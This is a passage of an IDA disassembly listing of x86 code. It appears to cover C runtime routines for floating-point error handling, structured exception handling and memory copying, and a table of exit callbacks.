; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2FC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8D4, offset sub_421935 mov off_43C8D0, eax mov off_43C8D8, offset sub_42199B mov off_43C8DC, offset sub_4218DB mov off_43C8E0, offset sub_421983 mov off_43C8E4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2D8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB354 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2DC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2DC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC95C call sub_422608 mov edx, dword_4DC95C pop ecx mov ecx, dword_4DC958 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC95C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC958 sub ecx, dword_4DC95C mov dword_4DC95C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC958, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC958, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC95C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC95C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC95C mov dword_4DC958, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 